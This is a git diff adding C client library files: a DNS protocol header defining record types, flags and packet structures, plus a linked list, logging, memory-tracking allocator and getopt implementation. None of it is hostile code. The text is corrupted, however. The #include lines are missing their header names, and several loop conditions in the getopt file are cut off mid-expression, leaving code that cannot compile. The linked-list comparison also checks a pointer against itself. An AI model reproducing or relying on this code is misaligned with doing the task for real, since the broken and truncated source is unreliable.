_DNS_TYPE_TEXT = 0x0010, + + /* RFC 1183 */ + _DNS_TYPE_RP = 0x0011, + _DNS_TYPE_AFSDB = 0x0012, + _DNS_TYPE_X25 = 0x0013, + _DNS_TYPE_ISDN = 0x0014, + _DNS_TYPE_RT = 0x0015, + + /* RFC 1348 */ + _DNS_TYPE_NSAP = 0x0016, + _DNS_TYPE_NSAPPTR = 0x0017, + + /* RFC 2065 (DNS security) */ + _DNS_TYPE_SIG = 0x0018, + _DNS_TYPE_KEY = 0x0019, + + /* RFC 1664 (X.400 mail) */ + _DNS_TYPE_PX = 0x001a, + + /* RFC 1712 (Geographic position) */ + _DNS_TYPE_GPOS = 0x001b, + + /* RFC 1886 (IPv6 Address) */ + _DNS_TYPE_AAAA = 0x001c, + + /* RFC 1876 (Geographic location) */ + _DNS_TYPE_LOC = 0x001d, + + /* RFC 2065 (Secure negative response) */ + _DNS_TYPE_NXT = 0x001e, + + /* Patton (Endpoint Identifier) */ + _DNS_TYPE_EID = 0x001f, + + /* Patton (Nimrod Locator) */ +/* _DNS_TYPE_NIMLOC = 0x0020,*/ + /* RFC 2052 (Service location) */ +/* _DNS_TYPE_SRV = 0x0021,*/ + + /* NetBIOS. */ + _DNS_TYPE_NB = 0x0020, + + /* Adapter status. */ + _DNS_TYPE_NBSTAT = 0x0021, + + /* ATM Address */ + _DNS_TYPE_ATMA = 0x0022, + + /* RFC 2168 (Naming Authority Pointer) */ + _DNS_TYPE_NAPTR = 0x0023, + + /* RFC 2230 (Key Exchanger) */ + _DNS_TYPE_KX = 0x0024, + + /* RFC 2538 (CERT) */ + _DNS_TYPE_CERT = 0x0025, + + /* A6 Draft (A6) */ + _DNS_TYPE_A6 = 0x0026, + + /* DNAME Draft (DNAME) */ + _DNS_TYPE_DNAME = 0x0027, + + /* Eastlake (Kitchen Sink) */ + _DNS_TYPE_SINK = 0x0028, + + /* RFC 2671 (EDNS OPT) */ + _DNS_TYPE_OPT = 0x0029, + + /* IANA Reserved */ + + _DNS_TYPE_UINFO = 0x0064, + _DNS_TYPE_UID = 0x0065, + _DNS_TYPE_GID = 0x0066, + _DNS_TYPE_UNSPEC = 0x0067, + + /* Query only types (1035, 1995) */ + _DNS_TYPE_ADDRS = 0x00f8, + _DNS_TYPE_TKEY = 0x00f9, + _DNS_TYPE_TSIG = 0x00fa, + _DNS_TYPE_IXFR = 0x00fb, + _DNS_TYPE_AXFR = 0x00fc, + _DNS_TYPE_MAILB = 0x00fd, + _DNS_TYPE_MAILA = 0x00fe, + _DNS_TYPE_ALL = 0x00ff, + _DNS_TYPE_ANY = 0x00ff, +} dns_type_t; + +typedef enum +{ + _DNS_CLASS_IN = 1, /* The Internet */ + _DNS_CLASS_CS = 2, /* The CSNET class (Obsolete - used only for examples in some obsolete RFCs) */ + _DNS_CLASS_CH = 3, /* The CHAOS class */ + _DNS_CLASS_HS = 4, /* Hesiod [Dyer 87] */ +} dns_class_t; + +/* Here are how the opcodes, flags, and rcodes are laid out: + * +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ + * | 1 1 1 1 1 1| + * | 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5| + * +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ + * |QR| Opcode |AA|TC|RD|RA| Z | RCODE | + * +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ + */ +typedef enum +{ + _DNS_OPCODE_QUERY = 0x0000, + _DNS_OPCODE_IQUERY = 0x0800, + _DNS_OPCODE_STATUS = 0x1000, +} dns_opcode_t; + +typedef enum +{ + _DNS_FLAG_QR = 0x8000, /* Query response */ + _DNS_FLAG_AA = 0x0400, /* Authoritative answer */ + _DNS_FLAG_TC = 0x0200, /* Truncation */ + _DNS_FLAG_RD = 0x0100, /* Recursion desired */ + _DNS_FLAG_RA = 0x0080, /* Recursion available */ +} dns_flag_t; + +typedef enum +{ + _DNS_RCODE_SUCCESS = 0x0000, + _DNS_RCODE_FORMAT_ERROR = 0x0001, + _DNS_RCODE_SERVER_FAILURE = 0x0002, + _DNS_RCODE_NAME_ERROR = 0x0003, + _DNS_RCODE_NOT_IMPLEMENTED = 0x0004, + _DNS_RCODE_REFUSED = 0x0005, +} dns_rcode_t; + + +/* A DNS question. Questions are simple, they just have a name, type, and class. */ +typedef struct +{ + char *name; + dns_type_t type; + dns_class_t class; +} question_t; + +/* An answer for an A packet. */ +typedef struct +{ + char *address; + uint8_t bytes[4]; +} A_answer_t; + +/* Only define AAAA on Linux. */ +#ifndef WIN32 +typedef struct +{ + char *address; + uint8_t bytes[16]; +} AAAA_answer_t; +#endif + +/* Nameserver and CNAME (alias) records simply have a name. */ +typedef struct +{ + char *name; +} NS_answer_t, CNAME_answer_t; + +/* Mail server requests (MX) have a name and a preference number. */ +typedef struct +{ + uint16_t preference; + char *name; +} MX_answer_t; + +/* A text record (TXT) has the text data and a length. Unlike MX, NS, and CNAME, text + * records aren't encoded as a dns name. */ +typedef struct +{ + uint8_t *text; + uint8_t length; +} TEXT_answer_t; + +/* A NetBIOS answer (NB) is used by Windows on port 137. */ +typedef struct +{ + uint16_t flags; + char *address; +} NB_answer_t; + +/* One element returned by a NBSTAT query (NBSTAT answers typically contain multiple names). */ +typedef struct +{ + char *name; + uint8_t name_type; + uint16_t name_flags; +} NBSTAT_name_t; + +/* A NetBIOS Status answer (NBSTAT or NBTSTAT) is used by Windows to get more information over 137. */ +typedef struct +{ + uint8_t name_count; + NBSTAT_name_t *names; + uint8_t stats[64]; +} NBSTAT_answer_t; + +/* Let us refer to any kind of answer type together. */ +typedef union +{ + A_answer_t A; + NS_answer_t NS; + CNAME_answer_t CNAME; + MX_answer_t MX; + TEXT_answer_t TEXT; +#ifndef WIN32 + AAAA_answer_t AAAA; +#endif + NB_answer_t NB; + NBSTAT_answer_t NBSTAT; +} answer_types_t; + +/* And finally, define a DNS answer. */ +typedef struct +{ + char *question; + dns_type_t type; + dns_class_t class; + uint32_t ttl; + answer_types_t *answer; +} answer_t; + +/* We don't implement authority records. */ +typedef struct +{ + /* TODO */ + int dummy; +} authority_t; + +/* An additional for an A packet. */ +typedef struct +{ + char *address; +} A_additional_t; + +/* Only define AAAA on Linux. */ +#ifndef WIN32 +typedef A_additional_t AAAA_additional_t; +#endif + +/* Nameserver and CNAME (alias) records simply have a name. */ +typedef struct +{ + char *name; +} NS_additional_t, CNAME_additional_t; + +/* Mail server requests (MX) have a name and a preference number. */ +typedef struct +{ + uint16_t preference; + char *name; +} MX_additional_t; + +/* A text record (TXT) has the text data and a length. Unlike MX, NS, and CNAME, text + * records aren't encoded as a dns name. */ +typedef struct +{ + uint8_t *text; + uint8_t length; +} TEXT_additional_t; + +/* A NetBIOS additional (NB) is used by Windows on port 137. */ +typedef struct +{ + uint16_t flags; + char *address; +} NB_additional_t; + +/* A NetBIOS Status additional (NBSTAT or NBTSTAT) is used by Windows to get more information over 137. */ +typedef struct +{ + uint8_t name_count; + NBSTAT_name_t *names; + uint8_t stats[64]; +} NBSTAT_additional_t; + +/* Let us refer to any kind of additional type together. */ +typedef union +{ + A_additional_t A; + NS_additional_t NS; + CNAME_additional_t CNAME; + MX_additional_t MX; + TEXT_additional_t TEXT; +#ifndef WIN32 + AAAA_additional_t AAAA; +#endif + NB_additional_t NB; + NBSTAT_additional_t NBSTAT; +} additional_types_t; + +/* And finally, define a DNS additional. */ +typedef struct +{ + char *question; + dns_type_t type; + dns_class_t class; + uint32_t ttl; + additional_types_t *additional; +} additional_t; + +/* Define an entire DNS packet. */ +typedef struct +{ + uint16_t trn_id; + dns_opcode_t opcode; + dns_flag_t flags; + dns_rcode_t rcode; + + uint16_t question_count; + uint16_t answer_count; + uint16_t authority_count; + uint16_t additional_count; + + question_t *questions; + answer_t *answers; + authority_t *authorities; + additional_t *additionals; +} dns_t; + +/* Allocate memory for a blank dns structure. Should be freed with dns_free(). */ +dns_t *dns_create(dns_opcode_t opcode, dns_flag_t flags, dns_rcode_t rcode); + +/* Take a DNS packet as a stream of bytes, and create a dns_t structure from it. + * Should also be cleaned up with dns_destroy(). */ +dns_t *dns_create_from_packet(uint8_t *packet, size_t length); + +/* De-allocate memory and resources from a dns object. */ +void dns_destroy(dns_t *dns); + +/* Add a question to the DNS packet. A DNS packet can have any number of questions, but + * I normally limit it to one at a time. */ +void dns_add_question(dns_t *dns, char *name, dns_type_t type, dns_class_t class); + +/* Add a NetBIOS question to the DNS packet. This is similar to a normal question but + * with a couple extra fields and an encoded name. */ +void dns_add_netbios_question(dns_t *dns, char *name, uint8_t name_type, char *scope, dns_type_t type, dns_class_t class); + +/* These functions add answers of the various types. */ +void dns_add_answer_A(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *address); +void dns_add_answer_NS(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *name); +void dns_add_answer_CNAME(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *name); +void dns_add_answer_MX(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, uint16_t preference, char *name); +void dns_add_answer_TEXT(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, uint8_t *text, uint8_t length); +#ifndef WIN32 +void dns_add_answer_AAAA(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *address); +#endif +void dns_add_answer_NB(dns_t *dns, char *question, uint8_t question_type, char *scope, dns_class_t class, uint32_t ttl, uint16_t flags, char *address); + +/* These functions add additionals of the various types. */ +void dns_add_additional_A(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *address); +void dns_add_additional_NS(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *name); +void dns_add_additional_CNAME(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *name); +void dns_add_additional_MX(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, uint16_t preference, char *name); +void dns_add_additional_TEXT(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, uint8_t *text, uint8_t length); +#ifndef WIN32 +void dns_add_additional_AAAA(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *address); +#endif +void dns_add_additional_NB(dns_t *dns, char *question, uint8_t question_type, char *scope, dns_class_t class, uint32_t ttl, uint16_t flags, char *address); + +/* Convert a DNS request into a packet that can be sent on port 53. Memory has to be freed. */ +uint8_t *dns_to_packet(dns_t *dns, size_t *length); + +/* Print the DNS request. Useful for debugging. */ +void dns_print(dns_t *dns); + +/* Create a DNS error object. */ +dns_t *dns_create_error(uint16_t trn_id, question_t question); +/* Create a DNS error packet, ready to send. */ +uint8_t *dns_create_error_string(uint16_t trn_id, question_t question, size_t *length); + +/* Get the first system DNS server. Works on Windows and any system that uses /etc/resolv.conf. */ +char *dns_get_system(); + +/* Runs dnstest and exits. Useful for --test parameters on any of the dns* programs. */ +void dns_do_test(char *domain); + +int dns_is_error(dns_t *dns); + +#endif + diff --git a/client/libs/ll.c b/client/libs/ll.c new file mode 100644 index 0000000..b0d0b24 --- /dev/null +++ b/client/libs/ll.c @@ -0,0 +1,251 @@ +/* ll.c + * By Ron + * Created January, 2010 + * + * (See LICENSE.md) + */ + +#include + +#include "libs/memory.h" + +#if 0 +#include +#include +#include +#define safe_malloc malloc +#define safe_free free +#define FALSE 0 +#define TRUE 1 +#endif + +#include "ll.h" + +ll_t *ll_create(cmpfunc_t *cmpfunc) +{ + ll_t *ll = (ll_t*) safe_malloc(sizeof(ll_t)); + ll->first = NULL; + ll->cmpfunc = cmpfunc; + + return ll; +} + +static ll_element_t *create_element(ll_index_t index, void *data) +{ + ll_element_t *element = (ll_element_t*) safe_malloc(sizeof(ll_element_t)); + element->index = index; + element->data = data; + + return element; +} + +static ll_element_t *destroy_element(ll_element_t *element) +{ + void *data = element->data; + safe_free(element); + return data; +} + +void *ll_add(ll_t *ll, ll_index_t index, void *data) +{ + ll_element_t *element = create_element(index, data); + void *old_data = ll_remove(ll, index); + + element->next = NULL; + if(ll->first) + element->next = (struct ll_element_t *)ll->first; + ll->first = element; + + return old_data; +} + +static int compare(ll_t *ll, ll_index_t a, ll_index_t b) +{ + if(a.type != b.type) + return FALSE; + + switch(a.type) + { + case LL_8: + return a.value.u8 == b.value.u8; + + case LL_16: + return a.value.u16 == b.value.u16; + + case LL_32: + return a.value.u32 == b.value.u32; + + case LL_64: + return a.value.u64 == b.value.u64; + + case LL_PTR: + if(ll->cmpfunc) + return ll->cmpfunc(a.value.ptr, b.value.ptr); + else + return a.value.ptr == a.value.ptr; + } + + printf("We forgot to handle a linked-list type!\n"); + exit(1); +} + +void *ll_remove(ll_t *ll, ll_index_t index) +{ + ll_element_t *prev = NULL; + ll_element_t *cur = ll->first; + + while(cur) + { + if(compare(ll, cur->index, index)) + { + if(prev) + prev->next = cur->next; + else + ll->first = (ll_element_t *)cur->next; + + return destroy_element(cur); + } + prev = cur; + cur = (ll_element_t*)prev->next; + } + + return NULL; +} + +void *ll_remove_first(ll_t *ll) +{ + ll_element_t *first = ll->first; + + if(first) + ll->first = (ll_element_t *)first->next; + + return first ? first->data : NULL; +} + +void *ll_find(ll_t *ll, ll_index_t index) +{ + ll_element_t *cur = ll->first; + + while(cur) + { + if(compare(ll, cur->index, index)) + return cur->data; + cur = (ll_element_t *)cur->next; + } + + return NULL; +} + +void ll_destroy(ll_t *ll) +{ + ll_element_t *cur = ll->first; + ll_element_t *next = NULL; + + while(cur) + { + next = (ll_element_t *)cur->next; + destroy_element(cur); + cur = next; + } + + safe_free(ll); +} + +ll_index_t ll_8(uint8_t value) +{ + ll_index_t index; + index.type = LL_8; + index.value.u8 = value; + + return index; +} + +ll_index_t ll_16(uint16_t value) +{ + ll_index_t index; + index.type = LL_16; + index.value.u16 = value; + + return index; +} + +ll_index_t ll_32(uint32_t value) +{ + ll_index_t index; + index.type = LL_32; + index.value.u32 = value; + + return index; +} + +ll_index_t ll_64(uint64_t value) +{ + ll_index_t index; + index.type = LL_64; + index.value.u64 = value; + + return index; +} + +ll_index_t ll_ptr(void *value) +{ + ll_index_t index; + index.type = LL_PTR; + index.value.ptr = value; + + return index; +} + +#if 0 +int my_strcmp(const void *a, const void *b) +{ + return strcmp((const char*)a, (const char*)b); +} + +int main(int argc, const char *argv[]) +{ + ll_t *ll = ll_create(NULL); + + printf("\n"); + printf("nil: %p\n", ll_find(ll, ll_16(0x123))); + + printf("\n"); + ll_add(ll, ll_16(0x12), (void*)0x32); + printf("32: %p\n", ll_find(ll, ll_16(0x12))); + printf("nil: %p\n", ll_find(ll, ll_16(0x31))); + printf("nil: %p\n", ll_find(ll, ll_32(0x12))); + printf("nil: %p\n", ll_find(ll, ll_8(0x12))); + + printf("\n"); + ll_remove(ll, ll_16(0x123)); + printf("nil: %p\n", ll_find(ll, ll_16(0x123))); + + ll_add(ll, ll_8(1), "8"); + ll_add(ll, ll_16(1), "16"); + ll_add(ll, ll_32(1), "32"); + ll_add(ll, ll_64(1), "64"); + ll_add(ll, ll_ptr((void*)1), "ptr"); + + printf("8: %s\n", (char*)ll_find(ll, ll_8(1))); + printf("16: %s\n", (char*)ll_find(ll, ll_16(1))); + printf("32: %s\n", (char*)ll_find(ll, ll_32(1))); + printf("64: %s\n", (char*)ll_find(ll, ll_64(1))); + printf("ptr: %s\n", (char*)ll_find(ll, ll_ptr((void*)1))); + + ll_remove(ll, ll_8(1)); + ll_remove(ll, ll_16(1)); + ll_remove(ll, ll_32(1)); + ll_remove(ll, ll_64(1)); + ll_remove(ll, ll_ptr((void*)1)); + + printf("nil: %p\n", (char*)ll_find(ll, ll_8(1))); + printf("nil: %p\n", (char*)ll_find(ll, ll_16(1))); + printf("nil: %p\n", (char*)ll_find(ll, ll_32(1))); + printf("nil: %p\n", (char*)ll_find(ll, ll_64(1))); + printf("nil: %p\n", (char*)ll_find(ll, ll_ptr((void*)1))); + + ll_destroy(ll); + + return 0; +} +#endif diff --git a/client/libs/ll.h b/client/libs/ll.h new file mode 100644 index 0000000..01ad031 --- /dev/null +++ b/client/libs/ll.h @@ -0,0 +1,63 @@ +/* ll.h + * By Ron + * Created January, 2010 + * + * (See LICENSE.md) + * + * Implements a simple singly-linked list. + */ + +#ifndef __LL_H__ +#define __LL_H__ + +typedef int(cmpfunc_t)(const void *, const void *); + +typedef enum +{ + LL_8, + LL_16, + LL_32, + LL_64, + LL_PTR, +} ll_index_type_t; + +typedef struct +{ + ll_index_type_t type; + union + { + uint16_t u8; + uint16_t u16; + uint32_t u32; + uint64_t u64; + void *ptr; + } value; +} ll_index_t; + +typedef struct +{ + ll_index_t index; + void *data; + struct ll_element_t *next; +} ll_element_t; + +typedef struct +{ + ll_element_t *first; + cmpfunc_t *cmpfunc; +} ll_t; + +ll_t *ll_create(cmpfunc_t *cmpfunc); +void *ll_add(ll_t *ll, ll_index_t index, void *data); +void *ll_remove(ll_t *ll, ll_index_t index); +void *ll_remove_first(ll_t *ll); +void *ll_find(ll_t *ll, ll_index_t index); +void ll_destroy(ll_t *ll); + +ll_index_t ll_8(uint8_t value); +ll_index_t ll_16(uint16_t value); +ll_index_t ll_32(uint32_t value); +ll_index_t ll_64(uint64_t value); +ll_index_t ll_ptr(void *value); + +#endif diff --git a/client/libs/log.c b/client/libs/log.c new file mode 100644 index 0000000..c2f413c --- /dev/null +++ b/client/libs/log.c @@ -0,0 +1,101 @@ +/* log.c + * By Ron Bowes + * + * See LICENSE.md + */ + +#include +#include +#include + +#include "assert.h" +#include "memory.h" + +#include "log.h" + +static log_level_t log_console_min = LOG_LEVEL_WARNING; +static log_level_t log_file_min = LOG_LEVEL_INFO; +static FILE *log_file = NULL; + +static char *log_levels[] = { "INFO", "WARNING", "ERROR", "FATAL" }; + +void log_to_file(char *filename, log_level_t min_level) +{ + assert(min_level >= LOG_LEVEL_INFO || min_level <= LOG_LEVEL_FATAL); + +#ifdef WIN32 + fopen_s(&log_file, filename, "w"); +#else + log_file = fopen(filename, "w"); +#endif + if(log_file) + log_file_min = min_level; + else + LOG_WARNING("Couldn't open logfile: %s", filename); +} + +void log_set_min_console_level(log_level_t min_level) +{ + assert(min_level >= LOG_LEVEL_INFO || min_level <= LOG_LEVEL_FATAL); + + log_console_min = min_level; +} + +log_level_t log_get_min_console_level() +{ + return log_console_min; +} + +/* Most of this code is from the manpage for vsprintf() */ +static void log_internal(log_level_t level, char *format, va_list args) +{ + assert(level >= LOG_LEVEL_INFO || level <= LOG_LEVEL_FATAL); + + if(level >= log_console_min) + { + fprintf(stderr, "[[ %s ]] :: ", log_levels[level]); + vfprintf(stderr, format, args); + fprintf(stderr, "\n"); + } + + if(log_file && level >= log_file_min) + { + vfprintf(log_file, format, args); + } +} + +void log_info(char *format, ...) +{ + va_list args; + + va_start(args, format); + log_internal(LOG_LEVEL_INFO, format, args); + va_end(args); +} + +void log_warning(char *format, ...) +{ + va_list args; + + va_start(args, format); + log_internal(LOG_LEVEL_WARNING, format, args); + va_end(args); +} + +void log_error(char *format, ...) +{ + va_list args; + + va_start(args, format); + log_internal(LOG_LEVEL_ERROR, format, args); + va_end(args); +} + +void log_fatal(char *format, ...) +{ + va_list args; + + va_start(args, format); + log_internal(LOG_LEVEL_FATAL, format, args); + va_end(args); +} diff --git a/client/libs/log.h b/client/libs/log.h new file mode 100644 index 0000000..723fd8d --- /dev/null +++ b/client/libs/log.h @@ -0,0 +1,37 @@ +/* log.h + * By Ron Bowes + * + * See LICENSE.md + * + * This is a pretty boring module that is used for logging data to the + * console. + */ + +#ifndef __LOG_H__ +#define __LOG_H__ + +typedef enum +{ + LOG_LEVEL_INFO = 0, + LOG_LEVEL_WARNING = 1, + LOG_LEVEL_ERROR = 2, + LOG_LEVEL_FATAL = 3 +} log_level_t; + +#define LOG_INFO log_info +#define LOG_WARNING log_warning +#define LOG_ERROR log_error +#define LOG_FATAL log_fatal + +void log_init(); + +void log_to_file(char *filename, log_level_t min_level); +void log_set_min_console_level(log_level_t level); +log_level_t log_get_min_console_level(); + +void log_info(char *format, ...); +void log_warning(char *format, ...); +void log_error(char *format, ...); +void log_fatal(char *format, ...); + +#endif diff --git a/client/libs/memory.c b/client/libs/memory.c new file mode 100644 index 0000000..7c844e7 --- /dev/null +++ b/client/libs/memory.c @@ -0,0 +1,180 @@ +/* memory.c + * By Ron + * Created January, 2010 + * + * (See LICENSE.md) + */ + +#include +#include +#include +#include + +#include "memory.h" + +typedef struct entry +{ + char *file; + int line; + void *memory; + size_t size; + struct entry *next; +} entry_t; + +#ifdef TESTMEMORY +static entry_t *first = NULL; +#endif + +static void die(char *msg, char *file, int line) +{ + printf("\n\nUnrecoverable error at %s:%d: %s\n\n", file, line, msg); + abort(); + exit(1); +} + +static void die_mem(char *file, int line) +{ + die("Out of memory", file, line); +} + +void add_entry(char *file, int line, void *memory, size_t size) +{ +#ifdef TESTMEMORY + entry_t *current = (entry_t*) malloc(sizeof(entry_t)); + if(!current) + die_mem(file, line); + + /* Put the new entry at the front of the list. */ + current->next = first; + first = current; + + current->file = file; + current->line = line; + current->memory = memory; + current->size = size; +#endif +} + +void update_entry(void *old_memory, void *new_memory, int new_size, char *file, int line) +{ +#ifdef TESTMEMORY + entry_t *current = first; + + while(current) + { + if(current->memory == old_memory) + { + current->memory = new_memory; + current->size = new_size; + return; + } + current = current->next; + } + + die("Tried to re-allocate memory that doesn't exist.", file, line); +#endif +} + +void remove_entry(void *memory, char *file, int line) +{ +#ifdef TESTMEMORY + entry_t *last = NULL; + entry_t *current = first; + + while(current) + { + if(current->memory == memory) + { + if(current == first) + { + /* Beginning of the list. */ + first = first->next; + free(current); + } + else + { + /* Anywhere else in the list. */ + last->next = current->next; + free(current); + } + + return; + } + last = current; + current = current->next; + } + + die("Tried to free memory that we didn't allocate (or that's already been freed)", file, line); +#endif +} + +void print_memory() +{ +#ifdef TESTMEMORY + if(first == NULL) + { + fprintf(stderr, "No allocated memory. Congratulations!\n"); + } + else + { + entry_t *current = first; + + fprintf(stderr, "Allocated memory:\n"); + while(current) + { + fprintf(stderr, "%p: 0x%08x bytes allocated at %s:%d\n", current->memory, (unsigned int)current->size, current->file, current->line); + current = current->next; + } + } +#endif +} + +void *safe_malloc_internal(size_t size, char *file, int line) +{ + void *ret = malloc(size); + if(!ret) + die_mem(file, line); + memset(ret, 0, size); + + add_entry(file, line, ret, size); + return ret; +} + +void *safe_realloc_internal(void *ptr, size_t size, char *file, int line) +{ + void *ret = realloc(ptr, size); + if(!ret) + die_mem(file, line); + + update_entry(ptr, ret, size, file, line); + return ret; +} + +char *safe_strdup_internal(const char *str, char *file, int line) +{ + char *ret; + + if(strlen(str) + 1 < strlen(str)) + die("Overflow.", file, line); + + ret = safe_malloc_internal(strlen(str) + 1, file, line); + memcpy(ret, str, strlen(str) + 1); + + return ret; +} + +void *safe_memcpy_internal(const void *data, size_t length, char *file, int line) +{ + uint8_t *ret; + + ret = safe_malloc_internal(length, file, line); + memcpy(ret, data, length); + + return ret; +} + +void safe_free_internal(void *ptr, char *file, int line) +{ + remove_entry(ptr, file, line); + free(ptr); +} diff --git a/client/libs/memory.h b/client/libs/memory.h new file mode 100644 index 0000000..73cb617 --- /dev/null +++ b/client/libs/memory.h @@ -0,0 +1,44 @@ +/* memory.h + * By Ron + * Created January, 2010 + * + * (See LICENSE.md) + * + * Implements functions for managing memory. Optionally (based on defining + * TEST_MEMORY) keeps track of all memory allocated and prints out a summary at + * the end. Great for finding memory leaks. + */ + +#ifndef __MEMORY_H__ +#define __MEMORY_H__ + +#include /* For size_t */ + +#include "types.h" + +/* Make calls to malloc/realloc that die cleanly if the calls fail. safe_malloc() initializes buffer to 0. */ +#define safe_malloc(size) safe_malloc_internal(size, __FILE__, __LINE__) +void *safe_malloc_internal(size_t size, char *file, int line); + +#define safe_realloc(ptr,size) safe_realloc_internal(ptr, size, __FILE__, __LINE__) +void *safe_realloc_internal(void *ptr, size_t size, char *file, int line); + +#define safe_strdup(str) safe_strdup_internal(str, __FILE__, __LINE__) +char *safe_strdup_internal(const char *str, char *file, int line); + +#define safe_memcpy(str,len) safe_memcpy_internal(str, len, __FILE__, __LINE__) +void *safe_memcpy_internal(const void *data, size_t length, char *file, int line); + +/* Free memory and remove it from our list of allocated memory. */ +#define safe_free(ptr) safe_free_internal(ptr, __FILE__, __LINE__) +void safe_free_internal(void *ptr, char *file, int line); + +/* Create a UNICODE string based on an ASCII one. Be sure to free the memory! */ +char *unicode_alloc(const char *string); +/* Same as unicode_alloc(), except convert the string to uppercase first. */ +char *unicode_alloc_upper(const char *string); + +/* Print the currently allocated memory. Useful for checking for memory leaks. */ +void print_memory(); + +#endif diff --git a/client/libs/my_getopt.c b/client/libs/my_getopt.c new file mode 100644 index 0000000..757775d --- /dev/null +++ b/client/libs/my_getopt.c @@ -0,0 +1,298 @@ +/* + * my_getopt.c - my re-implementation of getopt. + * Copyright 1997, 2000, 2001, 2002, 2006, Benjamin Sittler + * + * Permission is hereby granted, free of charge, to any person + * obtaining a copy of this software and associated documentation + * files (the "Software"), to deal in the Software without + * restriction, including without limitation the rights to use, copy, + * modify, merge, publish, distribute, sublicense, and/or sell copies + * of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be + * included in all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, + * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND + * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT + * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, + * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER + * DEALINGS IN THE SOFTWARE. + */ + +#ifdef WIN32 + +#include +#include +#include +#include +#include "my_getopt.h" + +int optind=1, opterr=1, optopt=0; +char *optarg=0; + +/* reset argument parser to start-up values */ +int getopt_reset(void) +{ + optind = 1; + opterr = 1; + optopt = 0; + optarg = 0; + return 0; +} + + +/* this is the plain old UNIX getopt, with GNU-style extensions. */ +/* if you're porting some piece of UNIX software, this is all you need. */ +/* this supports GNU-style permution and optional arguments */ + +static int _getopt(int argc, char * argv[], const char *opts) +{ + static int charind=0; + const char *s; + char mode, colon_mode; + int off = 0, opt = -1; + + if(getenv("POSIXLY_CORRECT")) colon_mode = mode = '+'; + else { + if((colon_mode = *opts) == ':') off ++; + if(((mode = opts[off]) == '+') || (mode == '-')) { + off++; + if((colon_mode != ':') && ((colon_mode = opts[off]) == ':')) + off ++; + } + } + optarg = 0; + if(charind) { + optopt = argv[optind][charind]; + for(s=opts+off; *s; s++) if(optopt == *s) { + charind++; + if((*(++s) == ':') || ((optopt == 'W') && (*s == ';'))) { + if(argv[optind][charind]) { + optarg = &(argv[optind++][charind]); + charind = 0; + } else if(*(++s) != ':') { + charind = 0; + if(++optind >= argc) { + if(opterr) fprintf(stderr, + "%s: option requires an argument -- %c\n", + argv[0], optopt); + opt = (colon_mode == ':') ? ':' : '?'; + goto my_getopt_ok; + } + optarg = argv[optind++]; + } + } + opt = optopt; + goto my_getopt_ok; + } + if(opterr) fprintf(stderr, + "%s: illegal option -- %c\n", + argv[0], optopt); + opt = '?'; + if(argv[optind][++charind] == '\0') { + optind++; + charind = 0; + } + my_getopt_ok: + if(charind && ! argv[optind][charind]) { + optind++; + charind = 0; + } + } else if((optind >= argc) || + ((argv[optind][0] == '-') && + (argv[optind][1] == '-') && + (argv[optind][2] == '\0'))) { + optind++; + opt = -1; + } else if((argv[optind][0] != '-') || + (argv[optind][1] == '\0')) { + char *tmp; + int i, j, k; + + if(mode == '+') opt = -1; + else if(mode == '-') { + optarg = argv[optind++]; + charind = 0; + opt = 1; + } else { + for(i=j=optind; i j) { + tmp=argv[--i]; + for(k=i; k+1 argc) optind = argc; + return opt; +} + +/* this is the extended getopt_long{,_only}, with some GNU-like + * extensions. Implements _getopt_internal in case any programs + * expecting GNU libc getopt call it. + */ + +int _getopt_internal(int argc, char * argv[], const char *shortopts, + const struct option *longopts, int *longind, + int long_only) +{ + char mode, colon_mode = *shortopts; + int shortoff = 0, opt = -1; + + if(getenv("POSIXLY_CORRECT")) colon_mode = mode = '+'; + else { + if((colon_mode = *shortopts) == ':') shortoff ++; + if(((mode = shortopts[shortoff]) == '+') || (mode == '-')) { + shortoff++; + if((colon_mode != ':') && ((colon_mode = shortopts[shortoff]) == ':')) + shortoff ++; + } + } + optarg = 0; + if((optind >= argc) || + ((argv[optind][0] == '-') && + (argv[optind][1] == '-') && + (argv[optind][2] == '\0'))) { + optind++; + opt = -1; + } else if((argv[optind][0] != '-') || + (argv[optind][1] == '\0')) { + char *tmp; + int i, j, k; + + opt = -1; + if(mode == '+') return -1; + else if(mode == '-') { + optarg = argv[optind++]; + return 1; + } + for(i=j=optind; i j) { + tmp=argv[--i]; + for(k=i; k+1= argc) { + opt = (colon_mode == ':') ? ':' : '?'; + if(opterr) fprintf(stderr, + "%s: option `--%s' requires an argument\n", + argv[0], longopts[found].name); + } else optarg = argv[optind]; + } + if(!opt) { + if (longind) *longind = found; + if(!longopts[found].flag) opt = longopts[found].val; + else *(longopts[found].flag) = longopts[found].val; + } + optind++; + } else if(!hits) { + if(offset == 1) opt = _getopt(argc, argv, shortopts); + else { + opt = '?'; + if(opterr) fprintf(stderr, + "%s: unrecognized option `%s'\n", + argv[0], argv[optind++]); + } + } else { + opt = '?'; + if(opterr) fprintf(stderr, + "%s: option `%s' is ambiguous\n", + argv[0], argv[optind++]); + } + } + if (optind > argc) optind = argc; + return opt; +} + +/* This function is kinda problematic because most getopt() nowadays + seem to use char * const 